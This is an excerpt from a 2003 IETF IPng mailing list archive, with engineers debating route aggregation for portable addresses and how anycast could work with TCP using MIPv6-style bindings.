Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA18422
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 13:12:28 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id PAA13362
	for ipng@sunroof.eng.sun.com; Tue, 28 Jan 2003 15:12:27 -0500 (EST)
Date: Tue, 28 Jan 2003 15:12:27 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301282012.PAA13362@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Brian E Carpenter <brian@hursley.ibm.com> wrote:

|Dan Lanciani wrote:
|> 
|> "Michel Py" <michel@arneill-py.sacramento.ca.us> wrote:
|...
|> |One billion routes in the global routing table = does not scale.
|> 
|> This is the main fallacy in your statement.  You are assuming that a billion
|> PI address blocks has to equate to a billion routes in some global routing
|> table (or even that there has to *be* a global table).  That would be the case
|> only if we insist on remaining with a full-knowledge centralized routing model.
|> Such models are outdated.  We can do better.
|
|We tried (NIMROD) to develop alternatives to full-knowledge flat
|routing; but that attempt failed.

I'm not familiar with the specific constraints placed on the attempted solution,
so I can't say whether it really had a chance.  Nevertheless, I wouldn't read
too much into the failure.  There are clearly distributed approaches that will
work.  They have their various tradeoffs, advantages, and disadvantages.  As
I've pointed out over and over through the years, we really need to decide up
front what cost we are willing to pay for a solution.  As long a significant
number of people argue that the cost must be zero because the benefit is worth
zero or is even negative, any solution will be deemed a failure.

|However, as Noel would have told us
|for the N'th time if he was watching this thread, any such alternative
|requires a method of abstraction and summarization of routes, a.k.a.
|aggregation.

No, this is exactly the fallacy that leads to failure.  There is no need
for summarization of routes because there is no need for any given node
to have a complete picture (even summary) of the topology.  The whole point
of distributing the routing task is to make the resources available for
routing grow in aggregate at least as quickly as the consumers of those
resources.  As soon as you start looking at summaries of the whole table
you focus resource usage for the whole net on individual nodes again.

|Today, the only way we know how to do that is
|by shorter and shorter prefixes on binary numbers.

And that's the trap.  As long a you start with the false requirement for
summarization you end up back at aggregation.

But we've been over and over this through the years and it always comes down
to the same hand-waving arguments that "it can't be done."  Exposing the
specific assumptions behind those arguments is like pulling teeth, and
ultimately any proposal can be shot down with the cost-must-be-zero argument.
It's starting to get really boring, IMH("historically inaccurate")O.

				Dan Lanciani
				ddl@danlan.*com

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 12:22:09 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SKM9Qb005476;
	Tue, 28 Jan 2003 12:22:09 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SKM9cJ005475;
	Tue, 28 Jan 2003 12:22:09 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SKM6Qb005468
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 12:22:06 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SKMDVL025318
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 12:22:13 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA12918
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 13:22:06 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0SKM2q32641;
	Tue, 28 Jan 2003 22:22:02 +0200
Date: Tue, 28 Jan 2003 22:22:02 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Dan Lanciani <ipng-incoming@danlan.com>
cc: ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
In-Reply-To: <200301282012.PAA13362@ss10.danlan.com>
Message-ID: <Pine.LNX.4.44.0301282219050.32598-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Tue, 28 Jan 2003, Dan Lanciani wrote:
> No, this is exactly the fallacy that leads to failure.  There is no need
> for summarization of routes because there is no need for any given node
> to have a complete picture (even summary) of the topology.  The whole point
> of distributing the routing task is to make the resources available for
> routing grow in aggregate at least as quickly as the consumers of those
> resources.  As soon as you start looking at summaries of the whole table
> you focus resource usage for the whole net on individual nodes again.

Dan,

Would you mind collecting the old ideas (which you mentioned went back to
1999), honing them perhaps a bit (if they need a polish) and putting them
out as a short Internet-Draft?

I'm interested at the proposal, but I'd really like to see the definite
picture of it, and I think that's the only way we can do it.

Thanks,

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 12:22:17 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SKMGQb005486;
	Tue, 28 Jan 2003 12:22:16 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SKMGiU005485;
	Tue, 28 Jan 2003 12:22:16 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SKMAQb005478
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 12:22:10 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SKMHVL025328
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 12:22:17 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA24533
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 13:22:11 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0SKDgg32585;
	Tue, 28 Jan 2003 22:13:42 +0200
Date: Tue, 28 Jan 2003 22:13:42 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Mika Liljeberg <mika.liljeberg@welho.com>
cc: Brian Haberman <bkhabs@nc.rr.com>, <ipng@sunroof.eng.sun.com>
Subject: Re: a few comments on anycast mechanisms
In-Reply-To: <1043780822.18672.66.camel@devil>
Message-ID: <Pine.LNX.4.44.0301282149550.32105-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On 28 Jan 2003, Mika Liljeberg wrote:
> On Tue, 2003-01-28 at 08:33, Pekka Savola wrote:
> > TCP has to be modified anyway, I see no way around that.
> > 
> > Even with RR mechanism, TCP has to be modified to reconnect to the new 
> > unicast address.  This is basically the same.
> 
> Not necessarily. The <anycast,unicast> binding could be stored in the
> binding cache as in MIPv6 and TCP could continue using the anycast
> address.

That would require anycast be used as source address, or home address 
option, right?  (Plus some modifications in clients etc.)

This really should need a bit fleshening up, in a short I-D.
 
> > Actually, there's no need for additional messages at all -- as SYN-ACK 
> > includes the sequence number sent in SYN as ack number.  So there's some 
> > small proof in this.  But then TCP would have to changed to change the 
> > endpoint address in TCB etc.  That's what my proposition tried to avoid.
> 
> Me too. Reconnecting to a unicast address changes the TCB as well. This
> is a change in semantics that is visible to applications (unexpected
> peername). I'd be hesitant to change API semantics that have remained
> the same for the past 20 years.

Well, I guess that's true, unless someone invents some nice hack to work 
around that.  I'm not sure how damaging though.
 
> > > Either way, this would still make the TCP "security" weaker, because it
> > > would make it possible (by guessing the ISN) to high-jack both
> > > directions of a TCP connection, rather than just one. Needless to say,
> > > this would be a lot more valuable to the attacker.
> > 
> > Sure.. but consider the big picture.  To guess the ISN in the first 3 
> > messages would be rather difficult.  To know when exactly the source node 
> > has communicated with an anycast address about equally so (to get into the 
> > SYN_SENT window for that address).  Especially the latter is something 
> > that off-path attackers should find really difficult.
> 
> I didn't say guessing the ISN or timing the attack would become any
> easier. The point is simply that guessing the ISN would now make
> applications vulnerable to man-in-the-middle attacks by off-path
> attackers. Assuming sufficient ISN randomness, 

and timing requirements

> perhaps this is not a
> problem.

I agree but I think the total security level is not _all_ that different.  
 
> > > However, it would be preferable not to have to have to modify TCP at
> > > all. Maintaining the binding at TCP level would simply be a pain. The
> > > better option would seem to be to hide the address change from TCP by
> > > employing a routing header and something similar to the home address
> > > option. Might as well require that all hosts sporting TCP servers at
> > > anycast addresses must also support MIPv6.
> > 
> > TCP modifications would be about the same level as with the RR procedure.
> 
> Which is why existing mechanisms (e.g. MIPv6) should be reused rather
> than inventing new ones.

I'd like to see a roadmap for these. :-)
 
> > MIPv6-like approaches would be one option of course, rather heavy though.
> 
> A light-weight compromise might be to have TCP authenticate the binding,
> but use MIPv6 mechanisms for the routing. This would avoid the change in
> API semantics as well.
> 
> I have a hard time seeing anycast TCP used in the global network or
> beyond selected applications in local networks. That being the case,
> requiring that the client hosts to support MIPv6 route optimisation
> (with some tweaks) should not be that big a deal.

Perhaps not a big deal, assuming every node that should be capable of 
(anycast) TCP would be able to act as an IPv6 CN..

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 13:02:13 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SL2DQb005776;
	Tue, 28 Jan 2003 13:02:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SL2DWC005775;
	Tue, 28 Jan 2003 13:02:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SL2AQb005768
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 13:02:10 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SL2IVK018499
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 13:02:18 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA12813
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 13:02:11 -0800 (PST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id QAA13571;
	Tue, 28 Jan 2003 16:02:07 -0500 (EST)
Date: Tue, 28 Jan 2003 16:02:07 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301282102.QAA13571@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

|Pekka Savola <pekkas@netcore.fi> wrote:
|
|Would you mind collecting the old ideas (which you mentioned went back to
|1999),

Actually, 1999 was just the most recent time I had brought this up.

|honing them perhaps a bit (if they need a polish) and putting them
|out as a short Internet-Draft?

I'm not sure that would be a good use of my time.  The main point of the
proposal I outlined in 1999 was to show that portable identifiers could
work and scale with minimal retrofits to the end nodes and no changes at
all to the routing backbone.  It was not necessarily the implementation I
would choose if I were free to change the existing structure more.  As
such, the proposal is subject I'm sure to a raft of aesthetic complaints
that would confuse the issue.  There is also the problem that Toshiba seems
to have patented a subset of the my approach...  I think the descriptions in
the archives serve their purpose well enough.

|I'm interested at the proposal, but I'd really like to see the definite
|picture of it, and I think that's the only way we can do it.

Until we get past the strong assertions that "it can't be done" I have
trouble investing a lot of effort in specific implementation details.  What
do you think it would take to effectively dispel the summarization/aggregation
requirement myth?  Could we perhaps consider strict source routing as a simple
counter example while realizing that a hybrid approach would probably be better
in practice?  Or is the jump from strict source routing to hybrid too big to
make the case?

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 13:20:41 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SLKfQb005955;
	Tue, 28 Jan 2003 13:20:41 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SLKfTI005954;
	Tue, 28 Jan 2003 13:20:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SLKcQb005947
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 13:20:38 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SLKjVL013482
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 13:20:45 -0800 (PST)
Received: from devil.pp.htv.fi (cs78149057.pp.htv.fi [62.78.149.57])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA05271
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 13:20:39 -0800 (PST)
Received: from devil.pp.htv.fi (localhost [127.0.0.1])
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) with ESMTP id h0SLJUxA022766;
	Tue, 28 Jan 2003 23:19:31 +0200
Received: (from liljeber@localhost)
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) id h0SLJSFA022765;
	Tue, 28 Jan 2003 23:19:28 +0200
X-Authentication-Warning: devil.pp.htv.fi: liljeber set sender to mika.liljeberg@welho.com using -f
Subject: Re: a few comments on anycast mechanisms
From: Mika Liljeberg <mika.liljeberg@welho.com>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Brian Haberman <bkhabs@nc.rr.com>, ipng@sunroof.eng.sun.com
In-Reply-To: <Pine.LNX.4.44.0301282149550.32105-100000@netcore.fi>
References: <Pine.LNX.4.44.0301282149550.32105-100000@netcore.fi>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Organization: 
Message-Id: <1043788767.18673.117.camel@devil>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.1 
Date: 28 Jan 2003 23:19:27 +0200
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Tue, 2003-01-28 at 22:13, Pekka Savola wrote:
> > Not necessarily. The <anycast,unicast> binding could be stored in the
> > binding cache as in MIPv6 and TCP could continue using the anycast
> > address.
> 
> That would require anycast be used as source address, or home address 
> option, right?  (Plus some modifications in clients etc.)

And routing header the other way, of course. I don't think using an
anycast address as source address would actually be a problem, since it
can't be exploited for DDOS purposes. Might even have some legitimate
uses with UDP.

> This really should need a bit fleshening up, in a short I-D.

Nudge, nudge.

> Assuming sufficient ISN randomness, 
> 
> and timing requirements
> 
> > perhaps this is not a
> > problem.
> 
> I agree but I think the total security level is not _all_ that different.  

Probabaly so. Requiring that the prefixes of the anycast and unicast
adresses match would provide some additional confidence (assuming the
prefix length were known to the client).

> > Which is why existing mechanisms (e.g. MIPv6) should be reused rather
> > than inventing new ones.
> 
> I'd like to see a roadmap for these. :-)

Heh, well. It IS finally in last call... Probably get it sooner than
dragging any TCP changes through tsvwg, anyway. :-)

	MikaL

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 14:05:35 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SM5ZQb006178;
	Tue, 28 Jan 2003 14:05:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SM5ZgM006177;
	Tue, 28 Jan 2003 14:05:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SM5VQb006170
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 14:05:31 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SM5dVK018938
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 14:05:39 -0800 (PST)
Received: from ms-smtp-02.southeast.rr.com (ms-smtp-02.southeast.rr.com [24.93.67.83])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA29806
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 14:05:29 -0800 (PST)
Received: from mail5.nc.rr.com (fe5 [24.93.67.52])
	by ms-smtp-02.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h0SM4Eo5024719;
	Tue, 28 Jan 2003 17:04:14 -0500 (EST)
Received: from nc.rr.com ([24.162.252.243]) by mail5.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Tue, 28 Jan 2003 17:03:39 -0500
Message-ID: <3E36FE17.10001@nc.rr.com>
Date: Tue, 28 Jan 2003 17:03:03 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: Me? Organized??
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Mika Liljeberg <mika.liljeberg@welho.com>
CC: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
Subject: Re: a few comments on anycast mechanisms
References: <Pine.LNX.4.44.0301280823470.20439-100000@netcore.fi> <1043780822.18672.66.camel@devil>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



Mika Liljeberg wrote:
> On Tue, 2003-01-28 at 08:33, Pekka Savola wrote:
> 
>>TCP has to be modified anyway, I see no way around that.
>>
>>Even with RR mechanism, TCP has to be modified to reconnect to the new 
>>unicast address.  This is basically the same.
> 
> 
> Not necessarily. The <anycast,unicast> binding could be stored in the
> binding cache as in MIPv6 and TCP could continue using the anycast
> address.
> 

The RR mechanism for anycast already requires the ability to use
the anycast address as a source address.  If we can get agreement
on lifting that restriction, I like the idea of keeping changes
out of TCP.

> 
>>Actually, there's no need for additional messages at all -- as SYN-ACK 
>>includes the sequence number sent in SYN as ack number.  So there's some 
>>small proof in this.  But then TCP would have to changed to change the 
>>endpoint address in TCB etc.  That's what my proposition tried to avoid.
> 
> 
> Me too. Reconnecting to a unicast address changes the TCB as well. This
> is a change in semantics that is visible to applications (unexpected
> peername). I'd be hesitant to change API semantics that have remained
> the same for the past 20 years.
> 
> 
>>>Either way, this would still make the TCP "security" weaker, because it
>>>would make it possible (by guessing the ISN) to high-jack both
>>>directions of a TCP connection, rather than just one. Needless to say,
>>>this would be a lot more valuable to the attacker.
>>
>>Sure.. but consider the big picture.  To guess the ISN in the first 3 
>>messages would be rather difficult.  To know when exactly the source node 
>>has communicated with an anycast address about equally so (to get into the 
>>SYN_SENT window for that address).  Especially the latter is something 
>>that off-path attackers should find really difficult.
> 
> 
> I didn't say guessing the ISN or timing the attack would become any
> easier. The point is simply that guessing the ISN would now make
> applications vulnerable to man-in-the-middle attacks by off-path
> attackers. Assuming sufficient ISN randomness, perhaps this is not a
> problem.
> 
> 
>>>However, it would be preferable not to have to have to modify TCP at
>>>all. Maintaining the binding at TCP level would simply be a pain. The
>>>better option would seem to be to hide the address change from TCP by
>>>employing a routing header and something similar to the home address
>>>option. Might as well require that all hosts sporting TCP servers at
>>>anycast addresses must also support MIPv6.
>>
>>TCP modifications would be about the same level as with the RR procedure.
> 
> 
> Which is why existing mechanisms (e.g. MIPv6) should be reused rather
> than inventing new ones.
> 

I agree. :)

> 
>>MIPv6-like approaches would be one option of course, rather heavy though.
> 
> 
> A light-weight compromise might be to have TCP authenticate the binding,
> but use MIPv6 mechanisms for the routing. This would avoid the change in
> API semantics as well.
> 
> I have a hard time seeing anycast TCP used in the global network or
> beyond selected applications in local networks. That being the case,
> requiring that the client hosts to support MIPv6 route optimisation
> (with some tweaks) should not be that big a deal.
> 

One of the big issues is just how will anycast be used.  We know it
can be used for resource discovery, but what else?

My opinion is that if we can get anycast and TCP to work nicely
together, other apps may take advantage of the feature.

Brian

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 14:36:38 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SMacQb006356;
	Tue, 28 Jan 2003 14:36:38 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SMabEZ006355;
	Tue, 28 Jan 2003 14:36:37 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SMaYQb006348
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 14:36:35 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SMagVK029242
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 14:36:42 -0800 (PST)
Received: from drugs.dv.isc.org (drugs.dv.isc.org [130.155.191.236])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA27744
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 15:36:36 -0700 (MST)
Received: from drugs.dv.isc.org (localhost [127.0.0.1])
	by drugs.dv.isc.org (8.12.6/8.12.6) with ESMTP id h0SMYNEN063800;
	Wed, 29 Jan 2003 09:34:23 +1100 (EST)
	(envelope-from marka@drugs.dv.isc.org)
Message-Id: <200301282234.h0SMYNEN063800@drugs.dv.isc.org>
To: Mika Liljeberg <mika.liljeberg@welho.com>
Cc: Pekka Savola <pekkas@netcore.fi>, Brian Haberman <bkhabs@nc.rr.com>,
   ipng@sunroof.eng.sun.com
From: Mark.Andrews@isc.org
Subject: Re: a few comments on anycast mechanisms 
In-reply-to: Your message of "28 Jan 2003 21:07:03 +0200."
             <1043780822.18672.66.camel@devil> 
Date: Wed, 29 Jan 2003 09:34:23 +1100
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


> I have a hard time seeing anycast TCP used in the global network or
> beyond selected applications in local networks. That being the case,
> requiring that the client hosts to support MIPv6 route optimisation
> (with some tweaks) should not be that big a deal.
> 
> 	MikaL

	Well the cannonical example would be fallback to TCP for
	anycast DNS servers.  The root servers are anycast today
	which is fine for UDP but fragile for TCP.

	Mark

--
Mark Andrews, Internet Software Consortium
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742                 INTERNET: Mark.Andrews@isc.org
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 15:12:19 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SNCIQb006550;
	Tue, 28 Jan 2003 15:12:18 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SNCI2I006549;
	Tue, 28 Jan 2003 15:12:18 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SNCFQb006542
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 15:12:15 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SNCNVK011518
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 15:12:23 -0800 (PST)
Received: from devil.pp.htv.fi (cs78149057.pp.htv.fi [62.78.149.57])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA09707
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 15:12:17 -0800 (PST)
Received: from devil.pp.htv.fi (localhost [127.0.0.1])
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) with ESMTP id h0SNBFxA027685;
	Wed, 29 Jan 2003 01:11:16 +0200
Received: (from liljeber@localhost)
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) id h0SNBDUD027684;
	Wed, 29 Jan 2003 01:11:13 +0200
X-Authentication-Warning: devil.pp.htv.fi: liljeber set sender to mika.liljeberg@welho.com using -f
Subject: Re: a few comments on anycast mechanisms
From: Mika Liljeberg <mika.liljeberg@welho.com>
To: Brian Haberman <bkhabs@nc.rr.com>
Cc: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
In-Reply-To: <3E36FE17.10001@nc.rr.com>
References: <Pine.LNX.4.44.0301280823470.20439-100000@netcore.fi>
	 <1043780822.18672.66.camel@devil>  <3E36FE17.10001@nc.rr.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Organization: 
Message-Id: <1043795472.23047.2.camel@devil>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.1 
Date: 29 Jan 2003 01:11:12 +0200
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi Brian,

On Wed, 2003-01-29 at 00:03, Brian Haberman wrote:
> The RR mechanism for anycast already requires the ability to use
> the anycast address as a source address.  If we can get agreement
> on lifting that restriction, I like the idea of keeping changes
> out of TCP.

I just spotted the following: the RR mechanism sends HoT to the anycast
address. How does that work? It might go to a completely different
server.

	MikaL

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 15:35:32 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SNZWQb006724;
	Tue, 28 Jan 2003 15:35:32 -0800 (PST)
Received: (from majordomo@localhost)
